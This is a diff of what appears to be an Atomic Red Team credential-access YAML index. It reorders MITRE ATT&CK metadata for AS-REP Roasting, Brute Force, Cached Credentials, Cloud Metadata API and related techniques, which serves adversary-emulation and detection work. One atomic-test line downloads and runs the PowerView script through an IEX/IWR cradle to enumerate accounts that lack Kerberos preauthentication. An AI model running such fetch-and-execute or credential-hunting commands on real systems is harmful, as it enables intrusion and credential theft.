-        url: https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx
+        source_name: Harmj0y Roasting AS-REPs Jan 2017
+      - url: https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx
         description: 'Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why
           It Should Not Be Disabled. Retrieved August 25, 2020.'
-      - source_name: Stealthbits Cracking AS-REP Roasting Jun 2019
-        url: https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/
+        source_name: Microsoft Kerberos Preauth 2014
+      - url: https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/
         description: Jeff Warren. (2019, June 27). Cracking Active Directory Passwords
           with AS-REP Roasting. Retrieved August 24, 2020.
-      - description: Medin, T. (2014, November). Attacking Kerberos - Kicking the
+        source_name: Stealthbits Cracking AS-REP Roasting Jun 2019
+      - url: https://redsiege.com/kerberoast-slides
+        description: Medin, T. (2014, November). Attacking Kerberos - Kicking the
           Guard Dog of Hades. Retrieved March 22, 2018.
         source_name: SANS Attacking Kerberos Nov 2014
-        url: https://redsiege.com/kerberoast-slides
-      - url: https://adsecurity.org/?p=2293
+      - source_name: AdSecurity Cracking Kerberos Dec 2015
         description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets
           Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory
           Domain. Retrieved March 22, 2018.
-        source_name: AdSecurity Cracking Kerberos Dec 2015
-      - url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
+        url: https://adsecurity.org/?p=2293
+      - source_name: Microsoft Detecting Kerberoasting Feb 2018
         description: Bani, M. (2018, February 23). Detecting Kerberoasting activity
           using Azure Security Center. Retrieved March 23, 2018.
-        source_name: Microsoft Detecting Kerberoasting Feb 2018
-      - source_name: Microsoft 4768 TGT 2017
-        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768
+        url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768
         description: 'Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication
           ticket (TGT) was requested. Retrieved August 24, 2020.'
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: AS-REP Roasting
+        source_name: Microsoft 4768 TGT 2017
+      x_mitre_data_sources:
+      - 'Active Directory: Active Directory Credential Request'
+      x_mitre_version: '1.0'
+      modified: '2021-06-07T19:23:33.039Z'
+      x_mitre_system_requirements:
+      - Valid domain account
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may reveal credentials of accounts that have disabled
         Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002)
         Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication
@@ -254,19 +269,12 @@ credential-access:
         [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral
         Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation:
         SANS Attacking Kerberos Nov 2014)"
-      id: attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2020-10-20T19:30:11.783Z'
-      created: '2020-08-24T13:43:00.028Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_system_requirements:
-      - Valid domain account
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Yossi Nisani, Cymptom
+      - James Dunn, @jamdunnDFW, EY
+      - Swapnil Kumbhar
+      - Jacques Pluviose, @Jacqueswildy_IT
+      - Dan Nutting, @KerberToast
       x_mitre_detection: 'Enable Audit Kerberos Service Ticket Operations to log Kerberos
         TGS service ticket requests. Particularly investigate irregular patterns of
         activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within
@@ -274,15 +282,8 @@ credential-access:
         pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking
         Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation:
         Microsoft 4768 TGT 2017)'
-      x_mitre_data_sources:
-      - 'Active Directory: Active Directory Credential Request'
-      x_mitre_contributors:
-      - James Dunn, @jamdunnDFW, EY
-      - Swapnil Kumbhar
-      - Jacques Pluviose, @Jacqueswildy_IT
-      - Dan Nutting, @KerberToast
-      x_mitre_platforms:
-      - Windows
+      created: '2020-08-24T13:43:00.028Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1558.004
     atomic_tests:
     - name: Rubeus asreproast
@@ -355,20 +356,74 @@ credential-access:
           [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
           IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
         name: powershell
-  T1552.003:
+  T1557:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1552.003
-        url: https://attack.mitre.org/techniques/T1552/003
-      - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
-        description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
-          DA, the OS X Way. Retrieved July 3, 2017.
-        source_name: External to DA, the OS X Way
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Adversary-in-the-Middle
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Service: Service Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-09-28T13:09:51.467Z'
+      created: '2020-02-11T19:07:12.114Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      id: attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)
+
+        Adversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.
+      x_mitre_contributors:
+      - Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project
+      x_mitre_detection: Monitor network traffic for anomalies associated with known
+        AiTM behavior. Consider monitoring for modifications to system configuration
+        files involved in shaping network traffic flow.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1557
+        external_id: T1557
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/94.html
+        external_id: CAPEC-94
+        source_name: capec
+      - url: https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/
+        description: Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March
+          2, 2020.
+        source_name: Rapid7 MiTM Basics
+    atomic_tests: []
+  T1552.003:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Bash History
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-02-07T20:48:49.878Z'
+      created: '2020-02-04T13:02:11.685Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3
       description: 'Adversaries may search the bash command history on compromised
         systems for insecurely stored credentials. Bash keeps track of the commands
         users type on the command-line with the "history" utility. Once a user logs
@@ -379,27 +434,22 @@ credential-access:
         which then get saved to this file when they log out. Attackers can abuse this
         by looking through the file for potential credentials. (Citation: External
         to DA, the OS X Way)'
-      id: attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2020-02-07T20:48:49.878Z'
-      created: '2020-02-04T13:02:11.685Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: Monitoring when the user's <code>.bash_history</code> is
         read can help alert to suspicious activity. While users do typically rely
         on their history of commands, they often access this history through other
         utilities like "history" instead of commands like <code>cat ~/.bash_history</code>.
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1552/003
+        external_id: T1552.003
+        source_name: mitre-attack
+      - source_name: External to DA, the OS X Way
+        description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
+          DA, the OS X Way. Retrieved July 3, 2017.
+        url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
       identifier: T1552.003
     atomic_tests:
     - name: Search Through Bash History
@@ -433,31 +483,21 @@ credential-access:
         name: sh
   T1110:
     technique:
-      id: attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Brute Force
-      description: Adversaries may use brute force techniques to gain access to accounts
-        when passwords are unknown or when password hashes are obtained. Without knowledge
-        of the password for an account or set of accounts, an adversary may systematically
-        guess the password using a repetitive or iterative mechanism. Brute forcing
-        passwords can take place via interaction with a service that will check the
-        validity of those credentials or offline against previously acquired credential
-        data, such as password hashes.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1110
-        url: https://attack.mitre.org/techniques/T1110
-      - external_id: CAPEC-49
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/49.html
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Brute Force
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'User Account: User Account Authentication'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '2.3'
+      modified: '2021-09-30T19:18:16.672Z'
+      created: '2017-05-31T21:31:22.767Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2021-04-14T12:04:36.243Z'
-      created: '2017-05-31T21:31:22.767Z'
+      id: attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -468,8 +508,19 @@ credential-access:
       - macOS
       - Google Workspace
       - Containers
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
+      description: |-
+        Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
+
+        Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.
+      x_mitre_contributors:
+      - David Fiser, @anu4is, Trend Micro
+      - Alfredo Oliveira, Trend Micro
+      - Magno Logan, @magnologan, Trend Micro
+      - Yossi Weizman, Azure Defender Research Team
+      - Ed Williams, Trustwave, SpiderLabs
       x_mitre_detection: Monitor authentication logs for system and application login
         failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If
         authentication failures are high, then there may be a brute force attempt
@@ -477,43 +528,33 @@ credential-access:
         many failed authentication attempts across various accounts that may result
         from password spraying attempts. It is difficult to detect when hashes are
         cracked, since this is generally done outside the scope of the target network.
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Application Log: Application Log Content'
-      x_mitre_contributors:
-      - David Fiser, @anu4is, Trend Micro
-      - Alfredo Oliveira, Trend Micro
-      - Magno Logan, @magnologan, Trend Micro
-      - Yossi Weizman, Azure Defender Research Team
-      - Ed Williams, Trustwave, SpiderLabs
-      x_mitre_version: '2.2'
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1110
+        external_id: T1110
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/49.html
+        external_id: CAPEC-49
+        source_name: capec
     atomic_tests: []
   T1003.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1003.005
-        url: https://attack.mitre.org/techniques/T1003/005
-      - source_name: Microsoft - Cached Creds
-        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)
-        description: Microsfot. (2016, August 21). Cached and Stored Credentials Technical
-          Overview. Retrieved February 21, 2020.
-      - source_name: PassLib mscache
-        url: https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html
-        description: Eli Collins. (2016, November 25). Windows' Domain Cached Credentials
-          v2. Retrieved February 21, 2020.
-      - source_name: ired mscache
-        url: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials
-        description: Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking
-          mscash - Cached Domain Credentials. Retrieved February 21, 2020.
-      - url: https://github.com/mattifestation/PowerSploit
-        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
-        source_name: Powersploit
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-03-24T20:41:08.996Z'
       name: Cached Domain Credentials
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-02-21T15:42:25.991Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      x_mitre_permissions_required:
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530
       description: |-
         Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)
 
@@ -522,27 +563,34 @@ credential-access:
         With SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.
 
         Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)
-      id: attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2020-03-24T20:41:08.996Z'
-      created: '2020-02-21T15:42:25.991Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Ed Williams, Trustwave, SpiderLabs
       x_mitre_detection: |-
         Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
 
         Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - SYSTEM
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1003/005
+        external_id: T1003.005
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)
+        description: Microsfot. (2016, August 21). Cached and Stored Credentials Technical
+          Overview. Retrieved February 21, 2020.
+        source_name: Microsoft - Cached Creds
+      - url: https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html
+        description: Eli Collins. (2016, November 25). Windows' Domain Cached Credentials
+          v2. Retrieved February 21, 2020.
+        source_name: PassLib mscache
+      - url: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials
+        description: Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking
+          mscash - Cached Domain Credentials. Retrieved February 21, 2020.
+        source_name: ired mscache
+      - source_name: Powersploit
+        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
+        url: https://github.com/mattifestation/PowerSploit
       identifier: T1003.005
     atomic_tests:
     - name: Cached Credential Dump via Cmdkey
@@ -563,26 +611,22 @@ credential-access:
 '
   T1552.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1552.005
-        url: https://attack.mitre.org/techniques/T1552/005
-      - source_name: AWS Instance Metadata API
-        url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
-        description: AWS. (n.d.). Instance Metadata and User Data. Retrieved July
-          18, 2019.
-      - source_name: Krebs Capital One August 2019
-        url: https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/
-        description: Krebs, B.. (2019, August 19). What We Can Learn from the Capital
-          One Hack. Retrieved March 25, 2020.
-      - description: 'Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern
-          Day Trojan Horse. Retrieved July 16, 2019.'
-        url: https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse
-        source_name: RedLock Instance Metadata API 2018
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Cloud Instance Metadata API
+      x_mitre_data_sources:
+      - 'User Account: User Account Authentication'
+      x_mitre_version: '1.2'
+      modified: '2021-03-31T19:41:06.948Z'
+      created: '2020-02-11T18:47:46.619Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      x_mitre_platforms:
+      - IaaS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3
       description: |
         Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.
 
@@ -591,48 +635,53 @@ credential-access:
         If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)
 
         The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.
-      id: attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-03-31T19:41:06.948Z'
-      created: '2020-02-11T18:47:46.619Z'
       x_mitre_contributors:
       - Praetorian
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
       x_mitre_detection: |-
         Monitor access to the Instance Metadata API and look for anomalous queries.
 
         It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - IaaS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1552/005
+        external_id: T1552.005
+        source_name: mitre-attack
+      - url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
+        description: AWS. (n.d.). Instance Metadata and User Data. Retrieved July
+          18, 2019.
+        source_name: AWS Instance Metadata API
+      - url: https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/
+        description: Krebs, B.. (2019, August 19). What We Can Learn from the Capital
+          One Hack. Retrieved March 25, 2020.
+        source_name: Krebs Capital One August 2019
+      - source_name: RedLock Instance Metadata API 2018
+        description: 'Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern
+          Day Trojan Horse. Retrieved July 16, 2019.'
+        url: https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse
     atomic_tests: []
   T1552.007:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1552.007
-        url: https://attack.mitre.org/techniques/T1552/007
-      - source_name: Docker API
-        url: https://docs.docker.com/engine/api/v1.41/
-        description: Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved
-          March 31, 2021.
-      - source_name: Kubernetes API
-        url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/
-        description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved
-          March 29, 2021.
-      - source_name: Unit 42 Unsecured Docker Daemons
-        url: https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/
-        description: Chen, J.. (2020, January 29). Attacker's Tactics and Techniques
-          in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Container API
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'File: File Access'
+      - 'User Account: User Account Authentication'
+      x_mitre_version: '1.0'
+      modified: '2021-04-12T18:20:31.636Z'
+      created: '2021-03-31T14:01:52.321Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436
+      x_mitre_platforms:
+      - Containers
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       description: "Adversaries may gather credentials via APIs within a containers
         environment. APIs in these environments, such as the Docker API and Kubernetes
         APIs, allow a user to remotely manage their container resources and cluster
@@ -644,32 +693,31 @@ credential-access:
         credentials from the Kubernetes API server. These credentials may include
         those needed for Docker API authentication or secrets from Kubernetes cluster
         components. "
-      id: attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-04-12T18:20:31.636Z'
-      created: '2021-03-31T14:01:52.321Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_detection: |-
-        Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.
-
-        It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).
       x_mitre_contributors:
       - Center for Threat-Informed Defense (CTID)
       - Jay Chen, Palo Alto Networks
       - Yossi Weizman, Azure Defender Research Team
-      x_mitre_platforms:
-      - Containers
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'File: File Access'
-      - 'User Account: User Account Authentication'
+      x_mitre_detection: |-
+        Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.
+
+        It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1552/007
+        external_id: T1552.007
+        source_name: mitre-attack
+      - url: https://docs.docker.com/engine/api/v1.41/
+        description: Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved
+          March 31, 2021.
+        source_name: Docker API
+      - url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/
+        description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved
+          March 29, 2021.
+        source_name: Kubernetes API
+      - url: https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/
+        description: Chen, J.. (2020, January 29). Attacker's Tactics and Techniques
+          in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.
+        source_name: Unit 42 Unsecured Docker Daemons
       identifier: T1552.007
     atomic_tests:
     - name: ListSecrets
@@ -773,99 +821,99 @@ credential-access:
 '
   T1056.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1056.004
-        url: https://attack.mitre.org/techniques/T1056/004
-      - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017
-        description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I.
-          Retrieved December 18, 2017.
-        url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
-        description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.
-        source_name: Microsoft Hook Overview
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
-        description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks.
-          Retrieved December 12, 2017.'
-        source_name: Adlice Software IAT Hooks Oct 2014
-      - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
-        description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User
-          Mode. Retrieved December 20, 2017.'
-        source_name: MWRInfoSecurity Dynamic Hooking 2015
-      - url: https://www.exploit-db.com/docs/17802.pdf
-        description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved
-          December 12, 2017.
-        source_name: HighTech Bridge Inline Hooking Sept 2011
-      - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
-        description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware
-          Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.
-        source_name: Volatility Detecting Hooks Sept 2012
-      - url: https://github.com/prekageo/winhook
-        description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.
-        source_name: PreKageo Winhook Jul 2011
-      - url: https://github.com/jay/gethooks
-        description: Satiro, J. (2011, September 14). GetHooks. Retrieved December
-          12, 2017.
-        source_name: Jay GetHooks Sept 2011
-      - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
-        description: Felici, M. (2006, December 6). Any application-defined hook procedure
-          on my machine?. Retrieved December 12, 2017.
-        source_name: Zairon Hooking Dec 2006
-      - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
-        description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense
-          against user-land. Retrieved December 12, 2017.'
-        source_name: EyeofRa Detecting Hooking June 2017
-      - url: http://www.gmer.net/
-        description: GMER. (n.d.). GMER. Retrieved December 12, 2017.
-        source_name: GMER Rootkits
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
-        description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved
-          December 12, 2017.
-        source_name: Microsoft Process Snapshot
-      - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
-        description: Stack Exchange - Security. (2012, July 31). What are the methods
-          to find hooked functions and APIs?. Retrieved December 12, 2017.
-        source_name: StackExchange Hooks Jul 2012
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
